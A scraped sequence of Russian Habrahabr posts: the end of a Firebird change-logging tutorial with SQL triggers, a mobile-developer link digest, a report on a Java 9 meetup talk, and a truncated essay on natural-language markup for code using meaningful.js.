VALUES (old.n_687, new.n_687, :id_packet, 687); if (new.n_688<>old.n_688) then INSERT INTO V_LOG_1 (BLOB_OLD, BLOB_NEW, PACKET, NUM_POLE) VALUES (old.n_688, new.n_688, :id_packet, 688); if (new.n_689<>old.n_689) then INSERT INTO V_LOG_1 (BLOB_OLD, BLOB_NEW, PACKET, NUM_POLE) VALUES (old.n_689, new.n_689, :id_packet, 689); if (new.n_690<>old.n_690) then INSERT INTO V_LOG_1 (BLOB_OLD, BLOB_NEW, PACKET, NUM_POLE) VALUES (old.n_690, new.n_690, :id_packet, 690); if (new.n_691<>old.n_691) then INSERT INTO V_LOG_1 (BLOB_OLD, BLOB_NEW, PACKET, NUM_POLE) VALUES (old.n_691, new.n_691, :id_packet, 691); end if (TYPE_=3) then begin INSERT INTO V_LOG_1 (BLOB_OLD, BLOB_NEW, PACKET, NUM_POLE) VALUES (old.n_687, NULL, :id_packet, 687); INSERT INTO V_LOG_1 (BLOB_OLD, BLOB_NEW, PACKET, NUM_POLE) VALUES (old.n_688, NULL, :id_packet, 688); INSERT INTO V_LOG_1 (BLOB_OLD, BLOB_NEW, PACKET, NUM_POLE) VALUES (old.n_689, NULL, :id_packet, 689); INSERT INTO V_LOG_1 (BLOB_OLD, BLOB_NEW, PACKET, NUM_POLE) VALUES (old.n_690, NULL, :id_packet, 690); INSERT INTO V_LOG_1 (BLOB_OLD, BLOB_NEW, PACKET, NUM_POLE) VALUES (old.n_691, NULL, :id_packet, 691); end end PS: Я себе немного упростил жизнь, тем, что у меня свой встроенный язык программирования в систему и все таблицы и поля у меня идут с номерами, а не текстом. Так же благодаря этому, такие триггера создаются абсолютно автоматически при появлении новой таблицы или пересоздаются при изменении ее полей. Т.е. пользователю достаточно княпнуть в интерфейсе кнопку в редакторе таблицы “Включить логи” и все дальше у него будет происходить автоматически. У читателей все выйдет посложнее, если это база данных простая, то такие триггера придется создавать вручную и типы данных в NUM_POLE и NUM_TABLE должны быть текстовые, т.е. туда надо записывать названия таблиц и полей. Или ввести некую таблицу, где таблицам и полям будут присваиваться номера и брать данные из нее. Далее необходимо создать таблицу с флагом, произошла ли запись. Так мы будем экономить ресурсы системы, ибо сделать запрос по таблице с одним полем намного быстрее, чем перебирать LOG_PACKET в поисках есть ли флаги новых записей. Например так: CREATE TABLE LOG_PACKET_FLAG (ID SMALLINT); И поставить на таблицу LOG_PACET в триггер при добавлении записи нового пакета UPDATE LOG_PACKET_FLAG SET ID = 1; При запуске скрипта переноса данных в базу логов надо делать проверку есть ли новые записи (если их нет то ничего не делать больше). select first 1 p.id from LOG_PACKET_FLAG p Это будет работать намного быстрее чем, например: select count(*) from LOG_PACKET p where p.check_=0 По окончанию переноса записей надо проверить, не появились ли новые записи пока мы вели перенос тех что были и сделать: UPDATE LOG_PACKET_FLAG SET ID = 0; В общем, экономьте ресурсы своих систем. Далее рассмотрим сам процесс переноса записей. Сначала селектом получаем все новые записи LOG_PACKET из нашей основной БД, и в цикле делаем INSERT этих данных в БД логов. После создания записи пакета в БД логов, нам надо перенести данные этого пакета из таблиц LOG_1(2). Извлечение данных из блоб полей и добавление их в другое место – это определенный геморой и танцы с бубном. После многих экспериментов я пришел к выводу, что самый простой и эффективных путь, просто из скрипта запустить запрос в котором будет запрос в базу данных (в общем, сделать перетягивание блоб поля прямым запросом из БД логов в основную БД. Процедура стягивания данных пакета, которую надо дернуть скриптом, после добавления пакета. сreate or alter procedure BLOB_INS ( SELECT_ varchar(250), BASE_ varchar(100), USER_ varchar(50), PASS_ varchar(50), PACKET integer) AS declare variable BLOB_OLD BLOB SUB_TYPE 0 SEGMENT SIZE 80; declare variable BLOB_NEW BLOB SUB_TYPE 0 SEGMENT SIZE 80; declare variable PACKET BIGINT; declare variable NUM_POLE INTEGER; begin FOR EXECUTE STATEMENT (:select_) ON EXTERNAL :base_ AS USER :user_ PASSWORD :pass_ INTO :BLOB_OLD,:BLOB_NEW,:NUM_POLE DO INSERT INTO LOG (BLOB_OLD, BLOB_NEW, PACKET, NUM_POLE) VALUES (:BLOB_OLD,:BLOB_NEW, :pacet, :NUM_POLE); End :select должен быть подаваться примерно такого вида из скрипта: select p.blob_old, p.blob_new, p.num_pole from log_'.<номер таблицы>.' p where p.packet='.<ид пакета> После успешной обработки пакета, надо в основной базе поставить флаг, что этот пакет обработан. В случае ошибок добавления данных пакета я обновляю данные о количестве попыток, после 5 попыток ставится флаг, что данные обработаны с ошибкой и программа прекращает попытки их обработки. Если не сделать данный механизм, то можно уйти в бесконечный цикл в случае какой-то ошибки и программа перестанет выполнять свои функции. С ошибочными пакетами можно разобраться потом, а программа должна работать дальше. Так же небольшое напутствие: сделайте для базы данных логов отдельную вирутальную машину. Можно этой машине выделить меньше ядер и памяти. Так же можно выделить ей похуже дисковую систему, нет необходимости хранить логи на SSD например, как основные базы с которыми ведется основная работа. Тут нет повышенного требования к быстродействию, т.к. это отложенная операция. Нам не важно запишутся логи через минуту или через 1.5 минуты, главное, что они запишутся. Пользователи к этим данным обращаются очень редко, только в случае каких-то проблем, и ничего страшного если страница с логами будет грузиться на 200 ms дольше. В общем, этим вы просто будите экономить ресурсы, лучше эти ресурсы выделите нагруженным машинам.
https://habrahabr.ru/post/317866/
habrahabr
Дайджест интересных материалов для мобильного разработчика #184 (12-18 декабря)
['разработка приложений', 'Android', 'iOS', 'маркетинг', 'монетизация', 'мобильные устройства и приложения']
На этой неделе мы изучали, как стабилизировать Android, возможности его новой версии для Интернета вещей, как пробиться в топы App Store, оптимистичный UI и многое другое. Стабилизация...
На этой неделе мы изучали, как стабилизировать Android, возможности его новой версии для Интернета вещей, как пробиться в топы App Store, оптимистичный UI и многое другое. Стабилизация экрана в Android Пробовали ли вы читать книгу или статью вроде этой в автобусе или идя по улице? Могу поспорить пробовали! В этом случае вы должны были заметить что чтение текста таким образом является не лучшей идеей из-за постоянной тряски. Похоже что тряска экрана является достаточно серьезной проблемой и устранение ее может дать очень хорошее улучшение UX. Использование паттерна SchedulableObject для выделения бизнес-логики в отдельный поток Интерфейс мобильного приложения — это лицо продукта. Чем более отзывчив интерфейс, тем больше радости приносит продукт. Однако удовлетворённость от использования приложения зависит прежде всего от объёма его функций. По мере увеличения количества и сложности задач они требуют всё больше и больше времени. Доступность VR для людей с ограниченными возможностями Виртуальная реальность содержит в себе фантастический потенциал для людей с ограниченными возможностями. Новые ощущения, терапевтическая помощь, даже расширение возможностей для тех, кто лучше управляет головой, чем руками. Но она также добавляет серьёзные новые барьеры, которые с большой вероятностью могут ограничить доступ к этим преимуществам. Теперь дайджест доступен и в виде рассылки. Подписаться вы можете тут . iOS (+12) Разгоняем сборку Swift проекта в Xcode Super Mario Run за час стал №1 в App Store + Капитализация Nintendo упала на $2 млрд после выхода Super Mario Run Рождественская тема для Xcode Как WiFire стал «Лучшим приложением App Store» в 2016 году Swift 3.1 выйдет весной 2017 года 10 основополагающих правил для iOS разрабочтиков Введение в протокол-ориентированное программирование на Swift 25 вопросов и ответов с собеседования iOS джуниора DLLocalNotifications: локальные уведомления с помощью User Notifications ScratchCard: экран со стиранием SwiftyAnimate: простое создание анимаций FCAlertView: красивый экран с оповещениями NotificationBanner: баннеры с уведомлениями Android (+9) Android и «интернет вещей» стали ближе друг к другу (+4) Ранний доступ в Google Play. Что внутри? Google показывает нативные приложения для Android Wear 2.0 Google выпустил Android Wear 2.0 Developer Preview 4 Лучшие видео Playtime: как преуспеть на Android и в Google Play Rxify: поддерживаем порядок в автодополнении поиска Возможности Java 8 на Android Стили и темы в Android Вышла Android Support Library 25.1.0 Улучшение sign-in с помощью Google Sign-In и SmartLock Введение в Google Maps API для Android Зачем Android разработчикам надо учить Spring Framework Туториал по Android Things Material Components for Android: библиотека компонентов материального дизайна от Google Buffer Text Input Layout: библиотека для кастомизации поля ввода Stencil: библиотека на Kotlin для анимации текста TextLayoutBuilder: простая верстка текста Разработка (+18) Разработка для Sailfish OS: работа с LocalStorage (+17) Кратко про оптимистичный UI. Оптимистичные интерфейсы в картинках (+15) Генератор палитры для мобильных игр (+6) Новые перспективные площадки для игр HTML5 (+2) Тестовое задание как средство сбора идей 5 лучших примеров использования чатботов в приложениях История Marline: от скетчей на бумаге до №1 в App Store Анимация интерфейсов: зачем анимировать, как нужно и как не нужно Вышла бета Unity 5.6 Improbable дает ранний доступ к мирам SpatialOS Кто такой продюсер Стоимость нативной разработки чертовски высока! Глубоких ссылок недостаточно Управляя конфигурацией в React Native Как я сделал кроссплатформенный плеер SoundCloud с помощью Fuse Kickstarter открывает код своего приложения для Android и iOS Почему ваше приложение никогда не должно обращаться к внешнему API 6 причин, почему проваливаются проекты Лучшие практики работы с карточками Аналитика, маркетинг и монетизация (+23) Сравнение трекинговых систем Affise, HasOffers и FuseClick 300 сетей, 200 человек, 20,000 креативов в неделю: секрет успеха MZ от Гейба Лейдона Тренды Programmatic-рекламы в России в 2017 году Константин Сахнов (Rocket Jump): Аналитика в геймдизайне: практические кейсы AppsFlyer запускает атрибуцию рекламных доходов Opera Mediaworks переименовывается в AdColony Динамическая реклама продуктов на Facebook стала работать и с приложениями 5 невероятно мощных приемов F2P монетизации: использование «поведенческой экономики» для создания игр Бенедикт Эванс: Мобайл пожирает мир: Декабрь 2016 Устройства и IoT (+9) «Мир не Дикого Запада»: IEEE опубликовала стандарт по созданию благожелательных роботов (+6) Виртуальные ключи к реальному миру (+2) Клипса от Raccoon.world, как контроллер для VR/AR Cortana заработает в IoT-устройствах Hyundai Motor разрабатывает ОС для подключенных автомобилей «Другой подход»: Pebble поможет Fitbit с кодом Jolla подготовила версию Sailfish для умных часов ← Предыдущий дайджест . Если у вас есть другие интересные материалы или вы нашли ошибку — пришлите, пожалуйста, в почту.
https://habrahabr.ru/post/317868/
habrahabr
Разговор про Java 9 с Иваном Крыловым на jug.msk.ru
['java', 'jug', 'jug.msk.ru', 'jigsaw', 'azul']
Завершающей этот год на jug.msk.ru стала встреча с Иваном Крыловым (Azul Systems), состоявшаяся 15 декабря 2016 года. Темой разговора стала давно ожидаемая Java 9. О докладчике Иван в...
Завершающей этот год на jug.msk.ru стала встреча с Иваном Крыловым ( Azul Systems ), состоявшаяся 15 декабря 2016 года. Темой разговора стала давно ожидаемая Java 9 . О докладчике Иван в настоящее время является работником компании Azul Systems . До этого работал в т.ч. в компаниях Sun Microsystems и Oracle . Более 10 лет занимается разработкой виртуальных машин Java и компиляторов (в Azul Systems — виртуальной машиной Zing ). Часто выступает как на конференциях JUG.ru , так и на международных конференциях. Доклады Ивана интересны, выбранные темы хорошо и доступно изложены (несмотря на их техническую сложность). Ненавязчиво и всегда уместно подаётся информация о технологиях Azul Systems . Очень хороши, например, доклады (см. полный список ниже) о StructuredArray и ObjectLayout (нечто похожее на Value Types ) и Жизненный цикл JIT кода (в нём упоминалось про ReadyNow , видео доступно пока только участникам конференции). Доклады: «Zulu: OpenJDK for cloud and enterprise» ( JEEConf 2014 : презентация , видео ) «Understanding Java Garbage Collector» ( JEEConf 2014 : презентация , видео ) «StructuredArray и ObjectLayout» ( Joker 2014 : презентация , видео ) «Иван Крылов, Владимир Иванов, Volker Simonis, Никита Липский — Круглый стол. Будущее Java-платформы» ( JPoint 2015 : видео ) «Чего ждать от Java 9?» ( Joker 2015 : презентация , видео ) «What to expect from Java 9» ( JavaDay Kyiv 2015 : видео ) «What we can expect from Java 9» ( J On The Beach 2016 : видео ) «What we can expect from Java 9» ( GeekOUT 2016 : презентация , видео ) «What we can expect from Java 9» ( JCrete 2016 : видео ) «Жизненный цикл JIT кода» ( Joker 2016 : презентация ) Статьи: Проект Jigsaw в Java 9. Модулярное будущее, которого не избежать ( Хабрахабр ) Аудио с Иваном: Выпуск 67 подкаста «Разбор полётов» («JCrete Special. Пляжный выпуск») Выпуск 111 подкаста «Разбор полётов» («Geekout Special!») Выпуск 115 подкаста «Разбор полётов» («Java 10, будет...») Выпуск 116 подкаста «Разбор полётов» («ООП-дичь») Выпуск 119 подкаста «Разбор полётов» («Маки и Java 9») Выпуск 121 подкаста «Разбор полётов» («JVM vs CLR: Чужой не против Хищника!») Прочие ссылки: файлы всех презентаций , GitHub , Twitter . О докладе Рассказанное на jug.msk.ru является самой свежей и самой полной (расширенной до 2,5-3 часов) версией данного доклада, т.к. обычная продолжительность его около часа. Таким образом, слушателям представилась редкая возможность приобщиться к заботливо собранной и сгруппированной информации в интерпретации одного из наиболее квалифицированных в данной области специалистов. Дополнительные материалы по данной теме, которые могут быть интересны: «Иван Крылов, Владимир Иванов, Volker Simonis, Никита Липский — Круглый стол. Будущее Java-платформы» ( JPoint 2015 : видео ) «Дмитрий Чуйко — Hotspot и AOT: Пришло время компилировать» ( JPoint 2016 : презентация , видео ) «Дмитрий Чуйко — JEP 295: AOT в HotSpot» ( JUG.ru-2016 : анонс встречи ) Открытие встречи Андреем Когунем. Первая часть доклада была посвящена модульности ( modularity ) проекта Jigsaw , которая является главной целью Java 9 . Кроме изложения темы модульности в презентации, Иваном написаны хорошие примеры, доступные на GitHub . Во второй части упоминались и демонстрировались прочие нововведения в Java 9 . Лишь некоторые из них (полное перечисление и подробнее см. презентацию и видео): приватные методы в интерфейсах; упрощение использования try-with-resources ; фабричные методы для коллекций; JShell ; обновление Process API . Согласно совету Ивана перед докладом («лучше изучать оригинальные материалы») предлагается не ограничиваться чтением этого обзора. Уже сейчас доступны файл презентации и исходный код примеров (с подробной инструкцией по их использованию и просьбой сообщить при возникновении проблем ). Видео и фотографии со встречи вскоре появятся здесь и здесь . Имеется возможность подписаться на рассылку анонсов следующих встреч jug.msk.ru .
https://habrahabr.ru/company/jugru/blog/317806/
habrahabr
Говорит ли ваш код по-русски?
['программная инженерия', 'семантика']
Да, это пока не широко распространено. Обработка естественного языка еще недостаточно развита и не интегрирована с разработкой. Также, как нет и удобных способов интегрировать код с поиском или...
Да, это пока не широко распространено. Обработка естественного языка еще недостаточно развита и не интегрирована с разработкой. Также, как нет и удобных способов интегрировать код с поиском или виртуальным помощником (таким как Siri). Голосовые команды имитируют GUI пути (щелчок-открыть-щелчок). Семантический Веб пытается познакомить приложения со смыслом, но все еще не может достигнуть широкой аудитории. Behavior-driven development (BDD) полагается на DSL (предметно-ориентированный язык), который близок к естественному, но этого все еще недостаточно, чтобы научить ваш код говорить. Однако ваш код может взаимодействовать с естественным языком уже сегодня, правда не используя существующие подходы. Современные технологии не понимают естественный язык и непонятно, когда это станет возможным. Поэтому нам необходим иной подход: который будет адаптирован к естественному языку которому будет легко обучить широкий круг людей который может выступать связующим звеном между естественным языком и компьютерными сущностями который сможет создавать окружение в как можно большем количестве областей программной инженерии Адаптация Представьте, что вы пытаетесь понять, что означает "бррх" на одном из космических языков, базируясь на следующих фактах: (а) "бррх" является экземпляром "эюяя", (б) "бррх" имеет атрибуты "длины" и "ввррх", он может "передвигаться" и "ггрхться", (в) "бррх" является существительным. Вы можете связать эти факты в семантическую сеть, вы можете создать словарь и онтологию на их основе, вы можете найти "бррх" в поиске (основанном на релевантности), вы можете поговорить об этом с виртуальным помощником (который ответит, что "бррх это же эюяя, знаешь ли"), вы можете даже разбить "бррх вврхнулся гхратцем" на подлежащее-сказуемое-дополнение. Но ни один из этих методов не способен это слово. Настоящее понимание приходить только тогда, когда слова (и смысл за ними) объяснены в терминах, которые нам знакомы, т.е. мы понимаем на что они похожи. "бррх — это синий росток овоще-фрукта" является примером такого объяснения (а "овоще-фрукт" является примером того, что не существует, но что мы можем приблизительно представить). И настоящая проблема в том, что у нас нет технологий, которые работают с такими определениями. Релевантность является слишком неопределенной и ее результаты — всего лишь статистические догадки. Релевантность между "планетой", "сферой", "звездой", "пылевым облаком" и "физикой" не слишком помогают понять, что же такое планета, хотя бы потому, что эти слова могут относиться не только к "планете". Тогда как "планета — это астрономический объект, вращающийся вокруг звезды" помогает, т.к. базируется на схожести. Недостаток обработки естественного языка заключается в том, что она излишне полагается на правила естественного языка. Эти правила необходимы, чтобы текст был грамматически правильным, но не может помочь пониманию смысла во всех ситуациях. "Юпитер вращается по орбите", "орбита Юпитера", "вращение Юпитера по орбите" весьма близки по смыслу. Различение статической природы Юпитера и динамической природы орбиты весьма условно и зависит от обстоятельств или контекста. Что действительно важно — это (а) что такое "Юпитер", (б) что такое "орбита", (в) чем является их сочетание. Но в тексте обычно нет информации об этом. Любой подход, который работает со словарями и онтологиями (или классами/объектами и т.п.), обладает другим недостатком. Он выражает отношения предметной области (включая схожесть), но слабо связан с естественным языком. И, соответственно, не выражает некоторых характеристик, которые присущи внешнему миру и познанию, которые выражены в естественном языке. Даже продвинутый подход Семантического Веба имеет ограничения: (а) хотя он утверждает, что может менять классы и принадлежность к ним во время исполнения, но это не может быть полностью сделано, т.к. за основу берутся словари и онтологии, определенных на этапе дизайна, (б) URI необходимы для идентификации, (в) OWL декларации необходимы для смысла, (г) семантические системы рассуждений (reasoners) необходимы для классификации и проверки непротиворечивости. Поэтому, нам необходим альтернативный подход, который будет: Использовать сбалансированную схожесть (в форме неоднозначного естественного языка, чья неоднозначность будет устраняться насколько это возможно) Иметь компонентную структуру, используя результаты устранения неоднозначностей (явные границы между идентификаторами, явно выраженные отношения) Полагаться на дружественный человеку естественный язык (против машинно дружественных идентификаторов как livesIn, countryID и т.п.) Выборочно использовать словари и онтологии Иметь неограниченную гибкость (способность применять утверждения не только к вещам, к которым они предназначались изначально, но также к похожим на них), присущую естественному языку Иметь неограниченную расширяемость (способность изменять модель, чтобы предоставить более детальное или более сжатое описание в любой момент времени), присущую естественному языку Вовлекать людей для классификации, проверки непротиворечивости, рассуждений, и т.п. Итого : Адаптация к естественному языку подразумевает не буквальное его использование, а скорее баланс между его неоднозначностью и точностью, присущей компьютерным подходам. Обучение Что может облегчить изучение данного подхода? Во-первых, уже упомянутое использование идентификаторов естественного языка. Во-вторых, устранение неоднозначностей естественного языка. В-третьих, послабление правил. В-четвертых, маркап текста. Почему именно эти пункты? Идентификаторы естественного языка для носителя языка в большинстве случаев не требуют дополнительного обучения. Устраненные неоднозначности (границы между идентификаторами, явные отношения) просто экономят время для других читателей/потребителей информации (которым не надо делать то же самое в процессе использования). Послабление правил позволяет совместно работать пользователям с разными уровнями знаний. Например, "Юпитер является экземпляром планеты" не столь очевидно для многих пользователей, тогда как "Юпитер — это планета" очевидно для большинства. Маркап текста нужен, т.к. он может быть использован прозрачно (и быть даже невидимым для пользователей, например: Какой диаметр планеты ?) и позволяет зафиксировать смысл как только он распознан создателем информации. Это существенно отличается от того, что уже есть в программировании и других семантических технологиях. Идентификаторы представляют собой не всегда распознаваемые аббревиатуры, естественный язык не обрабатывается или доступен в виде эзотерических результатов, правила очень строгие, нет маркапа текста. Возьмем Семантический Веб для примера . URI могут быть читаться людьми до некоторый степени. Триплеты (подлежащее-сказуемое-дополнение) пытаются имитировать естественный язык, но получаемый результат сложно прочитать человеку. Тяжеловесные стандарты полны множеством правил. Альтернативой, предположительно, являются Notation3 и Turtle , которые вроде бы должны легко читаться людьми. Но и здесь мы опять видим "дружественные человеку" URI и названия вроде dc:title (что может выглядеть читаемым в данном примере, но будет dc_fr12:ttl в другом). Микроформаты предлагают немного иной подход, который может использоваться только в HTML, и который, в конце концов, является разновидностью предметно-ориентированного языка (DSL). DSL хотя и рассматривается как многообещающее направление, но имеет свои достоинства и недостатки , где последние могут быть объяснены одной фразой: необходимость знания нового языка. Во всех случаях мы видим, что обучение является очень важным фактором, которым мы просто не можем пренебречь. Итого : Восходящий, постепенный подход с ослабленными правилами позволяет стартовать буквально с нуля, как это возможно во многих языках программирования. Можно начать работать со словами естественного языка и отношениями, которые могут быть ограничены буквально двумя-тремя самыми важными. Это минимизирует необходимость в сложной, дорогой и недостаточно надежной (с точки зрения понимания текста) обработке естественного языка. Распознавание идентификаторов и основных отношений — более простая задача, чем распознавание существительных-глаголов-прилагательных-наречий или триплетов (подлежащее-сказуемое-дополнение) или определений классов/полей/методов. Это может быть сделано и использовано без дополнительного анализа как людьми, так и алгоритмами. Связующее звено Что делает функция getBallVolume(diameter)? Классическая интерпретация заключается в соотношении выхода и входа в виде описании как "Возвращает объем шара в соответствии с диаметром". В терминах естественного языка это может быть выражено как вопрос "Какой объем шара?" или "Какой объем шара с диаметром равным X?" или в виде предложения, упомянутого выше. Чтобы связать функцию с естественным языком нам нужно связать вход и выход функции с, соответственно, входом и выходом в естественном языке. Как это сделать? Вопрос может быть разделен на значимые идентификаторы и отношения: "Какой {является} объем {чего} шара?", где (1) выход функции соотносится с "какой" или неизвестным, (2) вход функции соотносится с "объем {чего} шара" или "шар {имеет} объем", (3) отношения "{является}" и "{чего}"/"{имеется}" связывают идентификаторы входа и выхода. Теперь мы можем написать тест при помощи библиотеки meaningful.js : meaningful.register({ func: getBallVolume, question: 'Какой {_} {является} объем {чего} шара', input: [ { name: 'диаметр' } ] }); expect(meaningful.query('Какой {_} {является} объем {чего} шара {имеет} диаметр {имеет значение} 2')). toEqual([ 4.1887902047863905 ]); Что здесь происходит? (1) функция getBallVolume регистрируется, чтобы отвечать на вопрос "Какой объем шара?" с параметром диаметр, (2) задается вопрос "Какой объем шара с диаметром 2?" (который примерно эквивалентен упомянутому в коде), (3) проверяется ожидаемый результат. Как это работает? Внутри, входящий вопрос и вопрос, связанный с функцией, сравниваются и если они похожи (т.е. похожи их соответствующие компоненты), тогда результат может быть найден: (а) "Какой { }" похож на "Какой { }" во втором вопросе, (б) "объем {чего} шара" присутствует в обоих вопросах, (в) в функции register() "диаметр" не включен в вопрос, но присутствует как параметр входа, поэтому его можно поставить в соответствие с "диаметром" во втором вопросе, (г) "диаметр {имеет значение} 2" применяется как вход и вызывается getBallVolume(2), (д) результат функции возвращается как ответ на вопрос естественного языка. Немного более сложный пример (регистрация функции getBallVolume здесь подразумевается ): function getPlanet(planetName) { return data[planetName]; // возвращает данные из внешнего источника } meaningful.register({ func: getPlanet, // падежи не поддерживаются - вот где необходима обработка естественного языка question: 'Какой {_} {является} диаметр {чего} планета', input: [{ name: 'планета', // ключ имени планеты в нижнем регистре func: function(planetName) { return planetName ? planetName.toLowerCase() : undefined; } }], output: function(result) { return result.diameter; } // возвращается только одно поле JSON-а }); // добавляем правила похожести meaningful.build([ 'Юпитер {является экземпляром} планета', 'планета {является} шар' ]); expect(meaningful.query('Какой {_} {является} объем {чего} Юпитер')).toEqual([ 1530597322872155.8 ]); Как это работает? (а) "Юпитер {является экземпляром} планета", поэтому мы можем рассматривать вопрос "Какой объем Юпитера?" как "Какой объем планеты?", (б) "планета {является} шар", поэтому мы можем рассматривать этот вопрос как "Какой объем шара?", (в) "диаметр {чего} Юпитер" может быть извлечен из атрибута диаметра объекта планеты, возвращаемого из вызова getPlanet("Юпитер"), (г) вызывается getBallVolume() со значением диаметра Юпитера. В Java (так же как в других мультипарадигмальных языках программирования) такие примеры могут выглядеть даже более элегантно: @Meaning шар class BallLike { @Meaning диаметр int diameter; // на английском имя поля можно использовать буквально @Meaning объем // каждое поле/метод по умолчанию соответствует // вопросу "Какое значение {_} {является} поле {чего} класса?" double getVolume(); } Подобный подход проще чем тот, который предлагается программными интерфейсами виртуальных помощников: Siri , Google Assistant , или Cortana . Только тот факт, что здесь мы видим несколько видов программных интерфейсов может обескураживать больше, чем возможные плюсы от интеграции с разговаривающим виртуальным помощником. Из этих программных интерфейсов одна технология является наиболее схожей с данным подходом: структурный маркап данных , но он недостаточно читабелен. То, что предлагает Семантический Веб не является кратким и похоже на обработку XML. Запросы в Семантическом Вебе в виде SPARQL ограничены, как и любой вид SQL-подобного языка. Вопросы естественного языка — это нечто большее, чем только выбор полей/свойств. Они затрагивают также пространство-время, причины-следствия и некоторые другие важные аспекты реальности и познания, которые требуют специального обращения. Теоретически, мы можем использовать вопрос "Какое место" вместо "Где", "Какая дата" вместо "Когда", или "Какая причина" вместо "Почему", но постоянные вопросы с "Какой/какая/какое" будут звучать не очень привычно в естественном языке. Данный подход также может быть сравнен с тем, что делают поисковые системы. Которые могут извлечь диаметр планеты , но результат не может быть переиспользован непосредственно. объём планеты же просто не работает. Также, мы не можем извлечь другие еще более специфичные данные. Данный же подход может помочь получать ответы на эти и многие другие вопросы, а также делает сам код субъектом поиска на естественном языке. Итого : Ненавязчивый подход не принуждает ваши данные быть совместимыми с тяжеловесными стандартными или специальными структурами данных (как триплеты) и специальными хранилищами данных (как триплетсторы ). Напротив, он может быть адаптирован под ваши данные. Он является скорее разновидностью интерфейса, который может быть применен и к новым, и к старым (уже практически не поддерживаемым) данным. Т.е., вместо строительства Гигантского Глобального Графа данных, к чему Семантический Веб, похоже, стремится, данный подход предлагает создать "Веб вопросов и ответов", который будет являться частично дискретным (т.к. отдельные идентификаторы и отношения дискретны) и частично непрерывным (т.к. и идентификаторы, и отношения могут быть приблизительно схожими с другими). Окружение Как мы можем видеть, маркап может быть преобразован как в естественный язык (и использоваться поисковиками или виртуальными помощниками), так и в вызовы программного интерфейса (что образует своего рода интерфейс естественного языка). Маркап превращает текст в компонентную структуру, где каждый элемент может быть заменен похожим. Поэтому, в большинстве случаев, преобразование в естественный язык может быть довольно простым или, по крайней мере, упрощенным: "Какой {является} диаметр {чего} планеты?" может прямо соответствовать вопросу "Какой диаметр планеты?" и быть схожим с "Какой диаметр астрономического объекта?". Что же касается интерфейса естественного языка (NLI), вначале идея использовать "Какой {является} объем {чего} Юпитера" вместо jupiter.getVolume() или getBallVolume(jupiter.diameter) кажется избыточной. Но никто и не говорит, что NLI вызовы должны относиться ко всем строчкам кода. Это может применяться только к тем частям кода, которые являются значимыми для высокоуровневого дизайна. Более того, у данного интерфейса имеются определенные плюсы: (а) спецификация, совместимая с естественным языком, (б) мы не работаем с конкретными вызовами программного интерфейса (что уменьшает необходимость углубленного изучения конкретного API), (в) названия классов/методов/функций/параметров более явные, (г) комментарии могут быть превращены в более осмысленный маркап, который может быть переиспользован, и т.п. Также, NLI может быть простейшим способом (даже по сравнению с командной строкой) разработки интерфейса для небольших приложений и устройств (например, в Интернете вещей) или в среде со многими языками программирования. Вследствие двойственной совместимости с естественным языком и кодом, маркап также может быть использован в других областях программной инженерии: требования, тесты, конфигурация, пользовательский интерфейс, документация, и т.п. Например, строка из требований "Приложение должно предоставлять диаметр планет" может быть размечена и соотнесена с вызовами функций, тестами или частями пользовательского интерфейса. Маркап может открыть еще одну область исследований: причина-следствие. Современные приложения делают робкие шаги в этом направлении и обычно как-то пытаются объяснить причины ошибок или неожиданного поведения. Но эта практика не распространяется на многие другие сферы: например, какие опции влияют на определенную функциональность, и т.п. Чтобы это работало еще более эффективно, подобные объяснения должны быть доступны для переиспользования. Т.е., если какая-то функциональность недоступна, то приложение может раскрыть цепочку причин-следствий-альтернатив с прямым доступом к тем местам пользовательского интерфейса или к опциям, которые пользователь может сразу изменить. Хотя behavior-driven development двигается в похожем направлении, но есть весьма важные отличия. DSL, схожий с естественным языком, может выглядеть неплохо, но, в конце концов, он не может быть переиспользован без инструментов, которые распознают этот DSL. С другой стороны, почему мы должны ограничиваться только тестами или дизайном? Мы взаимодействуем с естественным языком и высокоуровневой архитектурой предметной области на всех этапах программной инженерии. Итого : Данный подход применим не только к коду, но и к текстовым документам, пользовательскому интерфейсу, функциональности, конфигурации, сервисам и веб-страницам . Это открывает новые горизонты взаимодействия. Так, веб-страница может быть использована как своего рода функции вместе с алгоритмическими функциями, и, наоборот, функция из программного кода может быть использована, как своего рода веб-страница в поиске. Заключение Наибольшим вызовом для Семантического Веба является ответ на вопрос, почему он необходим сообществу, также как RDF, триплеты, триплетсторы, автоматические рассуждения (reasoning), и т.п. Приложения связывали данные в течении многих лет перед Семантическим Вебом. Архитекторы определяли предметную область при помощи различных инструментов (включая онтологии) задолго до него. Совершенно непонятно могут ли перевесить преимущества использования тяжеловесных стандартов, схожих с XML/UML/SQL стоимость миграции и затрат на обучение. Возможно, что именно поэтому Семантического Веба нет в стандартных библиотеках широко распространенных языках программирования и нет планов по включению. Семантический Веб позиционирует себя как "Веб данных", который позволяет интеллектуальным агентам справляться с разнородной информацией. Как подразумевается, люди будут получать информацию из "черного ящика", который будет рассуждать (reason) за них. Стандарты Семантического Веба далеки от того, чтобы люди могли их читать (как естественный язык) и похоже это никого не беспокоит. Не видно и дискуссий о применимости и удобстве использования семантики. А зачем? Интеллектуальные агенты же все сделают сами. Просто адаптируйтесь к Семантик Вебу. Вдохновляюще, не правда ли? Напротив, предлагаемый подход легковесен и может быть реализован при помощи встроенных особенностей JavaScript и underscore.js (не говоря уже о мультипарадигмальных языках). Итоговый прототип содержит всего лишь около 2 тысяч строчек кода. Легковесность ведет к упрощенному синтаксическому разбору, простым структурам данных, и не очень сложным цепочкам рассуждений (reasoning). Является ли это чрезмерным упрощением Семантического Веба? Возможно, также как ваша локальная база данных может являться чрезмерным упрощением Больших Данных, но ведь у обоих вариантов просто различная сфера применимости. Может ли данный подход ответить на вызовы Семантического Веба ? Нужно помнить, что они вызваны, в первую очередь, потенциальной громадностью (vastness), неоднозначностью (vagueness), неопределенностью (uncertainty), противоречивостью (inconsistency) и подверженностью ошибкам (fallibility) познания. Человечество живет с этими вызовами уже многие годы, но они действительно представляют собой угрозу для негибких, ограниченных, узкоспециализированных, категоричных алгоритмов. Любая информация является потенциально громадной, неоднозначной, неопределенной, противоречивой, подверженной ошибкам. Взять хотя бы тот диаметр Юпитера. Его значение выглядит простым и определенным только пока мы ограничиваем себя и представляем это как "раз и навсегда застывшую" истину. Но это не так. Оно может быть очень сложным, если мы хотим подсчитать его очень точно, что может вовлечь множество подзадач. Оно может быть неоднозначным, т.к. меняется во времени, может быть вычислено различными методами и с различной точностью. Оно может быть неопределенным, если мы вспомним все допущения, например, что Юпитер является идеальным шаром. Значение в метрической системе может быть противоречивым (в отсутствие средств перевода) с иными единицами длины. Все, что вы должны знать о подверженности 